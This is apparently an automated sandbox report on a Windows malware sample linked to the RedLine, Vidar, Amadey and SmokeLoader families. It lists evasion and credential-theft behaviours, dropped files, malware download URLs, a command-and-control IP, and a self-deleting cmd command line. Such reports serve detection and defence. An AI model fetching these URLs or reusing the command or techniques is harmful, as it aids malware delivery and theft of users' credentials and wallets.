Play interactive tour

Edit tour

Windows Analysis Report QMn13jz6nj.exe

Overview

General Information

Sample Name:	QMn13jz6nj.exe
Analysis ID:	531737
MD5:	c6e5298f945f91851744f96ee16412e5
SHA1:	960d38c010136a907de89e32835608d92a200829
SHA256:	f7b5a27355eafa5302a38a1e0adadcb619b6d42e7c1707a784297634a180a66f
Tags:	Amadeyexe
Infos:
Most interesting Screenshot:

Detection

Amadey Cryptbot RedLine SmokeLoader Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected RedLine Stealer

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Yara detected Cryptbot

Detected unpacking (overwrites its own PE header)

Yara detected SmokeLoader

Yara detected Amadey bot

System process connects to network (likely due to code injection or exploit)

Detected unpacking (changes PE section rights)

Antivirus detection for URL or domain

Antivirus detection for dropped file

Multi AV Scanner detection for submitted file

Benign windows process drops PE files

Yara detected Vidar stealer

Multi AV Scanner detection for dropped file

Maps a DLL or memory area into another process

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to evade analysis by execution special instruction which cause usermode exception

Query firmware table information (likely to detect VMs)

Connects to many ports of the same IP (likely port scanning)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Machine Learning detection for sample

Injects a PE file into a foreign processes

.NET source code contains very large array initializations

Contains functionality to inject code into remote processes

Deletes itself after installation

Creates a thread in another existing process (thread injection)

Hides that the sample has been downloaded from the Internet (zone.identifier)

Found many strings related to Crypto-Wallets (likely being stolen)

Checks if the current machine is a virtual machine (disk enumeration)

Tries to harvest and steal browser information (history, passwords, etc)

PE file contains section with special chars

Hides threads from debuggers

Tries to steal Crypto Currency Wallets

.NET source code references suspicious native API functions

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

.NET source code contains method to dynamically call methods (often used by packers)

PE file has nameless sections

Machine Learning detection for dropped file

Contains functionality to detect sleep reduction / modifications

Antivirus or Machine Learning detection for unpacked file

Drops PE files to the application program directory (C:\ProgramData)

One or more processes crash

Contains functionality to query locales information (e.g. system language)

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Detected potential crypto function

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Suspicious Del in CommandLine

Contains functionality to dynamically determine API calls

HTTP GET or POST without a user agent

Downloads executable code via HTTP

Contains long sleeps (>= 3 min)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Drops files with a non-matching file extension (content does not match file extension)

PE file contains strange resources

Drops PE files

Tries to load missing DLLs

Contains functionality to read the PEB

Uses a known web browser user agent for HTTP communication

Checks if the current process is being debugged

Checks for debuggers (devices)

Binary contains a suspicious time stamp

PE file contains more sections than normal

May check if the current machine is a sandbox (GetTickCount - Sleep)

Creates a process in suspended mode (likely to inject code)

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Yara signature match

Contains functionality to check if a debugger is running (IsDebuggerPresent)

PE file contains sections with non-standard names

Contains functionality to query CPU information (cpuid)

Found potential string decryption / allocating functions

Yara detected Credential Stealer

Contains functionality to call native functions

Found dropped PE file which has not been started or loaded

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains functionality for execution timing, often used to detect debuggers

Entry point lies outside standard sections

Creates a DirectInput object (often for capturing keystrokes)

Is looking for software installed on the system

Queries information about the installed CPU (vendor, model number etc)

AV process strings found (often used to terminate AV products)

Found inlined nop instructions (likely shell or obfuscated code)

Checks for kernel debuggers (NtQuerySystemInformation(SystemKernelDebuggerInformation))

Extensive use of GetProcAddress (often used to hide API calls)

Detected TCP or UDP traffic on non-standard ports

Contains capabilities to detect virtual machines

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Queries disk information (often used to detect virtual machines)

Uses Microsoft's Enhanced Cryptographic Provider

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Classification

Process Tree

System is w10x64

QMn13jz6nj.exe (PID: 2228 cmdline: "C:\Users\user\Desktop\QMn13jz6nj.exe" MD5: C6E5298F945F91851744F96EE16412E5)

QMn13jz6nj.exe (PID: 3416 cmdline: "C:\Users\user\Desktop\QMn13jz6nj.exe" MD5: C6E5298F945F91851744F96EE16412E5)

explorer.exe (PID: 3352 cmdline: C:\Windows\Explorer.EXE MD5: AD5296B280E8F522A8A897C96BAB0E1D)

A70A.exe (PID: 3340 cmdline: C:\Users\user\AppData\Local\Temp\A70A.exe MD5: 31F17AD58D02772DF14EFAC37D416CD7)

C169.exe (PID: 6276 cmdline: C:\Users\user\AppData\Local\Temp\C169.exe MD5: 5115E5DAB211559A85CD0154E8100F53)

conhost.exe (PID: 4788 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

C169.exe (PID: 2256 cmdline: C:\Users\user\AppData\Local\Temp\C169.exe MD5: 5115E5DAB211559A85CD0154E8100F53)

D466.exe (PID: 6636 cmdline: C:\Users\user\AppData\Local\Temp\D466.exe MD5: DF13FAC0D8B182E4D8B9A02BA87A9571)

WerFault.exe (PID: 6708 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6636 -s 520 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

AA02.exe (PID: 5976 cmdline: C:\Users\user\AppData\Local\Temp\AA02.exe MD5: 349A409711C0A8F53C5F90A993A621F2)

cmd.exe (PID: 4340 cmdline: "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\user\AppData\Local\Temp\AA02.exe" & exit MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 3428 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

timeout.exe (PID: 1904 cmdline: timeout /t 5 MD5: 121A4EDAE60A7AF6F5DFA82F7BB95659)

B6B5.exe (PID: 6720 cmdline: C:\Users\user\AppData\Local\Temp\B6B5.exe MD5: CBC4BD8906093C0CCC55379319D65DB1)

B6B5.exe (PID: 3540 cmdline: C:\Users\user\AppData\Local\Temp\B6B5.exe MD5: CBC4BD8906093C0CCC55379319D65DB1)

D375.exe (PID: 6632 cmdline: C:\Users\user\AppData\Local\Temp\D375.exe MD5: CA16CA4AA9CF9777274447C9F4BA222E)

EE61.exe (PID: 5680 cmdline: C:\Users\user\AppData\Local\Temp\EE61.exe MD5: 97617914D6E8A6E3CBEE8A5E5FF39AA5)

EE61.exe (PID: 5344 cmdline: C:\Users\user\AppData\Local\Temp\EE61.exe MD5: 97617914D6E8A6E3CBEE8A5E5FF39AA5)

ddigjgj (PID: 6700 cmdline: C:\Users\user\AppData\Roaming\ddigjgj MD5: C6E5298F945F91851744F96EE16412E5)

ddigjgj (PID: 6464 cmdline: C:\Users\user\AppData\Roaming\ddigjgj MD5: C6E5298F945F91851744F96EE16412E5)

cleanup

Malware Configuration

No configs have been found

Yara Overview

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Amadey	Yara detected Amadey bot	Joe Security
dump.pcap	JoeSecurity_RedLine_1	Yara detected RedLine Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
0000000B.00000002.573313266.00000000012E2000.00000040.00020000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0000001C.00000002.503480050.00000000005B1000.00000004.00020000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000017.00000000.476958517.0000000000402000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0000001A.00000003.478772499.00000000008C0000.00000004.00000001.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001A.00000003.478772499.00000000008C0000.00000004.00000001.sdmp	JoeSecurity_Cryptbot	Yara detected Cryptbot	Joe Security
00000002.00000002.374208740.00000000005A1000.00000004.00020000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000016.00000002.528038196.00000000008A5000.00000004.00000001.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000016.00000002.528038196.00000000008A5000.00000004.00000001.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000017.00000000.466738621.0000000000402000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0000001C.00000002.503274211.00000000004A0000.00000004.00000001.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000004.00000000.353435896.0000000004E91000.00000020.00020000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001A.00000002.570490408.0000000000915000.00000002.00020000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001A.00000002.570490408.0000000000915000.00000002.00020000.sdmp	JoeSecurity_Cryptbot	Yara detected Cryptbot	Joe Security
00000009.00000002.435228556.0000000000530000.00000004.00000001.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000017.00000002.568172041.0000000000402000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000017.00000000.471013875.0000000000402000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000017.00000000.472952857.0000000000402000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000002.00000002.374186262.0000000000580000.00000004.00000001.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000010.00000002.499816087.0000000003BB1000.00000004.00000001.sdmp	SUSP_Double_Base64_Encoded_Executable	Detects an executable that has been encoded with base64 twice	Florian Roth	0xbde30:$: VFZxUUFBT 0x11a890:$: VFZxUUFBT
00000010.00000002.499816087.0000000003BB1000.00000004.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000009.00000002.435588764.00000000006B1000.00000004.00020000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
Process Memory Space: A70A.exe PID: 3340	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: A70A.exe PID: 3340	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: C169.exe PID: 6276	SUSP_Double_Base64_Encoded_Executable	Detects an executable that has been encoded with base64 twice	Florian Roth	0xa6fae:$: VFZxUUFBT 0xd54d1:$: VFZxUUFBT
Process Memory Space: C169.exe PID: 6276	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: AA02.exe PID: 5976	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: AA02.exe PID: 5976	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: C169.exe PID: 2256	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: D375.exe PID: 6632	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: D375.exe PID: 6632	JoeSecurity_Cryptbot	Yara detected Cryptbot	Joe Security
Click to see the 26 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
23.2.C169.exe.2f893c6.2.unpack	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x155f6:$x1: https://cdn.discordapp.com/attachments/
23.2.C169.exe.400000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
16.2.C169.exe.3dd5e88.1.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
23.0.C169.exe.400000.10.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
16.2.C169.exe.3dd5e88.1.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
23.0.C169.exe.400000.12.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
23.0.C169.exe.400000.8.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
11.2.A70A.exe.12e0000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
23.0.C169.exe.400000.6.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
23.0.C169.exe.400000.4.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Click to see the 5 entries

Sigma Overview

System Summary:

Sigma detected: Suspicious Del in CommandLine

Show sources

Source: Process started

Author: frack113: Data: Command: "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\user\AppData\Local\Temp\AA02.exe" & exit, CommandLine: "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\user\AppData\Local\Temp\AA02.exe" & exit, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: C:\Users\user\AppData\Local\Temp\AA02.exe, ParentImage: C:\Users\user\AppData\Local\Temp\AA02.exe, ParentProcessId: 5976, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\user\AppData\Local\Temp\AA02.exe" & exit, ProcessId: 4340

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Antivirus detection for URL or domain

Show sources

Source: http://host-file-host-3.com/files/8723_1638191106_2017.exe	Avira URL Cloud: Label: malware
Source: http://host-file-host-3.com/files/5311_1638303032_7343.exe	Avira URL Cloud: Label: malware
Source: http://host-file-host-3.com/files/6096_1638289274_6885.exe	Avira URL Cloud: Label: malware
Source: http://privacytoolzforyou-7000.com/downloads/toolspab3.exe	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Show sources

Source: C:\Users\user\AppData\Local\Temp\C169.exe	Avira: detection malicious, Label: HEUR/AGEN.1144480
Source: C:\Users\user\AppData\Local\Temp\D375.exe	Avira: detection malicious, Label: TR/Crypt.XPACK.Gen2

Multi AV Scanner detection for submitted file

Show sources

Source: QMn13jz6nj.exe

Virustotal: Detection: 47%

Perma Link

Multi AV Scanner detection for dropped file

Show sources

Source: C:\Users\user\AppData\Local\Temp\A70A.exe	Metadefender: Detection: 25%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\A70A.exe	ReversingLabs: Detection: 57%
Source: C:\Users\user\AppData\Local\Temp\C169.exe	Metadefender: Detection: 37%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\C169.exe	ReversingLabs: Detection: 78%
Source: C:\Users\user\AppData\Local\Temp\D375.exe	Metadefender: Detection: 42%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\D375.exe	ReversingLabs: Detection: 85%
Source: C:\Users\user\AppData\Local\Temp\D466.exe	Metadefender: Detection: 28%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\D466.exe	ReversingLabs: Detection: 51%

Machine Learning detection for sample

Show sources

Source: QMn13jz6nj.exe

Joe Sandbox ML: detected

Machine Learning detection for dropped file

Show sources

Source: C:\Users\user\AppData\Local\Temp\D466.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\AA02.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\C169.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\B6B5.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\A70A.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\ddigjgj	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\D375.exe	Joe Sandbox ML: detected

Source: 26.0.D375.exe.8e0000.1.unpack	Avira: Label: TR/Crypt.XPACK.Gen2
Source: 26.0.D375.exe.8e0000.0.unpack	Avira: Label: TR/Crypt.XPACK.Gen2
Source: 22.2.AA02.exe.5b0e50.1.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 26.2.D375.exe.8e0000.0.unpack	Avira: Label: TR/Crypt.XPACK.Gen2
Source: 22.3.AA02.exe.5e0000.0.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 26.0.D375.exe.8e0000.2.unpack	Avira: Label: TR/Crypt.XPACK.Gen2
Source: 26.0.D375.exe.8e0000.3.unpack	Avira: Label: TR/Crypt.XPACK.Gen2
Source: 11.3.A70A.exe.3460000.0.unpack	Avira: Label: TR/Patched.Ren.Gen

Source: C:\Users\user\AppData\Local\Temp\AA02.exe	Code function: 22_2_004070D0 CryptUnprotectData,LocalAlloc,LocalFree,	22_2_004070D0
Source: C:\Users\user\AppData\Local\Temp\AA02.exe	Code function: 22_2_00407030 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	22_2_00407030
Source: C:\Users\user\AppData\Local\Temp\AA02.exe	Code function: 22_2_00406D50 CryptUnprotectData,	22_2_00406D50
Source: C:\Users\user\AppData\Local\Temp\AA02.exe	Code function: 22_2_00407360 lstrlen,CryptStringToBinaryA,lstrcatA,lstrcatA,lstrcatA,	22_2_00407360
Source: C:\Users\user\AppData\Local\Temp\AA02.exe	Code function: 22_2_004047B0 _memset,CryptStringToBinaryA,CryptStringToBinaryA,	22_2_004047B0

Compliance:

Detected unpacking (overwrites its own PE header)

Show sources

Source: C:\Users\user\AppData\Local\Temp\AA02.exe

Unpacked PE file: 22.2.AA02.exe.400000.0.unpack

Source: QMn13jz6nj.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, RELOCS_STRIPPED

Source: C:\Users\user\AppData\Local\Temp\D466.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: unknown

HTTPS traffic detected: 162.159.135.233:443 -> 192.168.2.3:49759 version: TLS 1.2

Source:	Binary string: profapi.pdb source: WerFault.exe, 0000001B.00000003.493685520.0000000004B57000.00000004.00000040.sdmp
Source:	Binary string: msvcrt.pdbk source: WerFault.exe, 0000001B.00000003.493530727.0000000004B50000.00000004.00000040.sdmp
Source:	Binary string: D:\Mktmp\NL1\Release\NL1.pdb source: EE61.exe, 0000001F.00000000.557886650.0000000000400000.00000040.00000001.sdmp, EE61.exe, 0000001F.00000000.560895556.0000000000400000.00000040.00000001.sdmp, EE61.exe, 0000001F.00000002.568131871.0000000000400000.00000040.00000001.sdmp
Source:	Binary string: wgdi32full.pdb source: WerFault.exe, 0000001B.00000003.493369014.0000000004B81000.00000004.00000001.sdmp
Source:	Binary string: wkernel32.pdb source: WerFault.exe, 0000001B.00000003.475546297.000000000488F000.00000004.00000001.sdmp, WerFault.exe, 0000001B.00000003.493369014.0000000004B81000.00000004.00000001.sdmp
Source:	Binary string: sechost.pdb source: WerFault.exe, 0000001B.00000003.493530727.0000000004B50000.00000004.00000040.sdmp
Source:	Binary string: ucrtbase.pdb source: WerFault.exe, 0000001B.00000003.493369014.0000000004B81000.00000004.00000001.sdmp
Source:	Binary string: msvcrt.pdb source: WerFault.exe, 0000001B.00000003.493530727.0000000004B50000.00000004.00000040.sdmp
Source:	Binary string: wrpcrt4.pdb source: WerFault.exe, 0000001B.00000003.493530727.0000000004B50000.00000004.00000040.sdmp
Source:	Binary string: wntdll.pdb source: WerFault.exe, 0000001B.00000003.493369014.0000000004B81000.00000004.00000001.sdmp
Source:	Binary string: wrpcrt4.pdbk source: WerFault.exe, 0000001B.00000003.493530727.0000000004B50000.00000004.00000040.sdmp
Source:	Binary string: powrprof.pdb source: WerFault.exe, 0000001B.00000003.493685520.0000000004B57000.00000004.00000040.sdmp
Source:	Binary string: shcore.pdb source: WerFault.exe, 0000001B.00000003.493685520.0000000004B57000.00000004.00000040.sdmp
Source:	Binary string: C:\yacopicugux28_yero\lub.pdb source: D466.exe, 00000013.00000000.431033742.0000000000416000.00000002.00020000.sdmp, D466.exe, 00000013.00000000.444432688.0000000000416000.00000002.00020000.sdmp, WerFault.exe, 0000001B.00000002.563965098.0000000000A40000.00000002.00020000.sdmp
Source:	Binary string: wsspicli.pdbk source: WerFault.exe, 0000001B.00000003.493530727.0000000004B50000.00000004.00000040.sdmp
Source:	Binary string: wgdi32.pdb source: WerFault.exe, 0000001B.00000003.493369014.0000000004B81000.00000004.00000001.sdmp
Source:	Binary string: fltLib.pdb source: WerFault.exe, 0000001B.00000003.493685520.0000000004B57000.00000004.00000040.sdmp
Source:	Binary string: advapi32.pdb source: WerFault.exe, 0000001B.00000003.493369014.0000000004B81000.00000004.00000001.sdmp
Source:	Binary string: wsspicli.pdb source: WerFault.exe, 0000001B.00000003.493530727.0000000004B50000.00000004.00000040.sdmp
Source:	Binary string: shell32.pdb source: WerFault.exe, 0000001B.00000003.493685520.0000000004B57000.00000004.00000040.sdmp
Source:	Binary string: msvcr100.i386.pdb source: WerFault.exe, 0000001B.00000003.493530727.0000000004B50000.00000004.00000040.sdmp
Source:	Binary string: C:\yacopicugux28_yero\lub.pdb02`e@ source: D466.exe, 00000013.00000000.431033742.0000000000416000.00000002.00020000.sdmp, D466.exe, 00000013.00000000.444432688.0000000000416000.00000002.00020000.sdmp, WerFault.exe, 0000001B.00000002.563965098.0000000000A40000.00000002.00020000.sdmp
Source:	Binary string: Kernel.Appcore.pdb source: WerFault.exe, 0000001B.00000003.493989773.0000000004B5D000.00000004.00000040.sdmp
Source:	Binary string: Windows.Storage.pdbs\|=M source: WerFault.exe, 0000001B.00000003.493530727.0000000004B50000.00000004.00000040.sdmp
Source:	Binary string: msvcp_win.pdb source: WerFault.exe, 0000001B.00000003.493369014.0000000004B81000.00000004.00000001.sdmp
Source:	Binary string: =C:\xida\wimuhiwepivuz suv.pdb source: AA02.exe, 00000016.00000000.439528441.0000000000401000.00000020.00020000.sdmp
Source:	Binary string: cryptbase.pdb source: WerFault.exe, 0000001B.00000003.493530727.0000000004B50000.00000004.00000040.sdmp
Source:	Binary string: wimm32.pdb source: WerFault.exe, 0000001B.00000003.493685520.0000000004B57000.00000004.00000040.sdmp
Source:	Binary string: sechost.pdbk source: WerFault.exe, 0000001B.00000003.493530727.0000000004B50000.00000004.00000040.sdmp
Source:	Binary string: wkernelbase.pdb source: WerFault.exe, 0000001B.00000003.493369014.0000000004B81000.00000004.00000001.sdmp
Source:	Binary string: shlwapi.pdb source: WerFault.exe, 0000001B.00000003.493685520.0000000004B57000.00000004.00000040.sdmp
Source:	Binary string: cfgmgr32.pdb source: WerFault.exe, 0000001B.00000003.493685520.0000000004B57000.00000004.00000040.sdmp
Source:	Binary string: bcryptprimitives.pdb source: WerFault.exe, 0000001B.00000003.493530727.0000000004B50000.00000004.00000040.sdmp
Source:	Binary string: Windows.Storage.pdb source: WerFault.exe, 0000001B.00000003.493530727.0000000004B50000.00000004.00000040.sdmp
Source:	Binary string: combase.pdb source: WerFault.exe, 0000001B.00000003.493685520.0000000004B57000.00000004.00000040.sdmp
Source:	Binary string: C:\xida\wimuhiwepivuz suv.pdb source: AA02.exe, 00000016.00000000.439528441.0000000000401000.00000020.00020000.sdmp
Source:	Binary string: efDC:\duluh.pdb02`e@ source: QMn13jz6nj.exe, 00000000.00000002.303636479.0000000000415000.00000002.00020000.sdmp, QMn13jz6nj.exe, 00000000.00000000.297090292.0000000000415000.00000002.00020000.sdmp, ddigjgj, 00000008.00000000.401591547.0000000000415000.00000002.00020000.sdmp, ddigjgj, 00000008.00000002.421779029.0000000000415000.00000002.00020000.sdmp
Source:	Binary string: wwin32u.pdb source: WerFault.exe, 0000001B.00000003.493369014.0000000004B81000.00000004.00000001.sdmp
Source:	Binary string: msimg32.pdb source: WerFault.exe, 0000001B.00000003.493530727.0000000004B50000.00000004.00000040.sdmp
Source:	Binary string: apphelp.pdb source: WerFault.exe, 0000001B.00000003.493369014.0000000004B81000.00000004.00000001.sdmp
Source:	Binary string: wuser32.pdb source: WerFault.exe, 0000001B.00000003.493369014.0000000004B81000.00000004.00000001.sdmp
Source:	Binary string: C:\duluh.pdb source: QMn13jz6nj.exe, 00000000.00000002.303636479.0000000000415000.00000002.00020000.sdmp, QMn13jz6nj.exe, 00000000.00000000.297090292.0000000000415000.00000002.00020000.sdmp, ddigjgj, 00000008.00000000.401591547.0000000000415000.00000002.00020000.sdmp, ddigjgj, 00000008.00000002.421779029.0000000000415000.00000002.00020000.sdmp
Source:	Binary string: C:\tok\micuh.pdb source: B6B5.exe, 00000019.00000000.448563265.0000000000401000.00000020.00020000.sdmp, B6B5.exe, 00000019.00000002.490272528.0000000000401000.00000020.00020000.sdmp, B6B5.exe, 0000001C.00000000.478287829.0000000000401000.00000020.00020000.sdmp

Source: C:\Users\user\AppData\Local\Temp\AA02.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\html\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AA02.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\css\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AA02.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AA02.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\images\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AA02.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AA02.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\_locales\	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\AA02.exe	Code function: 22_2_00401240 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose,	22_2_00401240
Source: C:\Users\user\AppData\Local\Temp\AA02.exe	Code function: 22_2_00401050 SetCurrentDirectoryA,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose,	22_2_00401050
Source: C:\Users\user\AppData\Local\Temp\AA02.exe	Code function: 22_2_004096C0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,FindNextFileA,FindClose,	22_2_004096C0
Source: C:\Users\user\AppData\Local\Temp\AA02.exe	Code function: 22_2_00408360 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,StrCmpCA,StrCmpCA,GetCurrentDirectoryA,lstrcatA,lstrcatA,CopyFileA,DeleteFileA,StrCmpCA,GetCurrentDirectoryA,lstrcatA,lstrcatA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	22_2_00408360
Source: C:\Users\user\AppData\Local\Temp\AA02.exe	Code function: 22_2_00405990 wsprintfA,FindFirstFileA,lstrcatA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,lstrlen,_strtok_s,PathMatchSpecA,CopyFileA,DeleteFileA,_strtok_s,PathMatchSpecA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	22_2_00405990
Source: C:\Users\user\AppData\Local\Temp\AA02.exe	Code function: 22_2_00409260 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	22_2_00409260
Source: C:\Users\user\AppData\Local\Temp\AA02.exe	Code function: 22_2_004094F0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	22_2_004094F0

Source: C:\Users\user\AppData\Local\Temp\A70A.exe	Code function: 4x nop then call 013E831Fh	11_2_013E8309
Source: C:\Users\user\AppData\Local\Temp\A70A.exe	Code function: 4x nop then mov edx, dword ptr [ebp+08h]	11_2_013F3DDD
Source: C:\Users\user\AppData\Local\Temp\A70A.exe	Code function: 4x nop then mov al, byte ptr [ecx]	11_2_013F3DDD
Source: C:\Users\user\AppData\Local\Temp\A70A.exe	Code function: 4x nop then mov edx, dword ptr [ebp+08h]	11_2_013F3E84
Source: C:\Users\user\AppData\Local\Temp\A70A.exe	Code function: 4x nop then mov ax, word ptr [ecx]	11_2_013F3E84

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Show sources

Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.3:49875 -> 185.215.113.35:80
Source: Traffic	Snort IDS: 1087 WEB-MISC whisker tab splice attack 192.168.2.3:49876 -> 185.215.113.35:80

System process connects to network (likely due to code injection or exploit)

Show sources

Source: C:\Windows\explorer.exe	Domain query: privacytoolzforyou-7000.com
Source: C:\Windows\explorer.exe	Domain query: cdn.discordapp.com
